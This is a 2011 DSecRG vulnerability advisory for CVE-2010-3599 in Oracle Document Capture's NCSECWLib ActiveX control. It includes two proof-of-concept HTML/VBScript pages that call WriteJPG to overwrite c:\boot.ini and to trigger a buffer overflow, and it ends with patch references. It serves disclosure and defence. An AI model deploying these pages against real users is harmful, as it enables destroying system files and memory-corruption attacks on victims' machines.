Source: http://packetstormsecurity.org/files/view/97871/DSECRG-11-006.txt
ActiveX components contain insecure methods.
Digital Security Research Group [DSecRG] Advisory DSECRG-11-006 (internal #DSECRG-09-066)
Application: Oracle Document Capture Versions Affected: Oracle Document Capture 10.1.3.5 Vendor URL: http://oracle.com Bugs: Insecure method. Buffer overflow. Exploits: YES Reported: 14.12.2009 Vendor response: 15.12.2009 Date of Public Advisory: 24.01.2011 CVE: CVE-2010-3599 Author: Alexandr Polyakov from DSecRG
Description ***********
Insecure method was founded in NCSECWLib ActiveX control component which is a part of Oracle Document Capture . One of the methods (WriteJPG) can be used to overwrite files on users system and also affected to buffer overflow.
Details *******
Attacker can construct html page which call vulnerable function "WriteJPG" from ActiveX Object NCSECWLib.
Example 1 (file overwrite) *******
<html> <script> targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll" prototype = "Sub WriteJPG ( ByVal OutputFile As String , ByVal Quality As Long , ByVal bWriteWorldFile As Boolean )" memberName = "WriteJPG" progid = "NCSECWLib.NCSRenderer" argCount = 3
arg1="c:\boot.ini" arg2=1 arg3=True
target.WriteJPG arg1 ,arg2 ,arg3
</script> </html>
Example 2 *******
<html> <script> targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll" prototype = "Sub WriteJPG ( ByVal OutputFile As String , ByVal Quality As Long , ByVal bWriteWorldFile As Boolean )" memberName = "WriteJPG" progid = "NCSECWLib.NCSRenderer" argCount = 3
arg1=String(13332, "A") arg2=1 arg3=True
target.WriteJPG arg1 ,arg2 ,arg3
</script></job></package>
References **********
http://dsecrg.com/pages/vul/show.php?id=306 http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
Fix Information *************
Information was published in CPU Jan 2011. All customers can download CPU patches following instructions from:
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
About *****
Digital Security:
Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.
Digital Security Research Group:
International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.
Contact: research [at] dsecrg [dot] com http://www.dsecrg.com http://www.erpscan.com
Polyakov Alexandr. PCI QSA,PA-QSA CTO Digital Security Head of DSecRG ______________________ DIGITAL SECURITY phone: +7 812 703 1547 +7 812 430 9130 e-mail: a.polyakov@dsec.ru
www.dsec.ru www.dsecrg.com www.dsecrg.ru www.erpscan.com www.erpscan.ru www.pcidssru.com www.pcidss.ru
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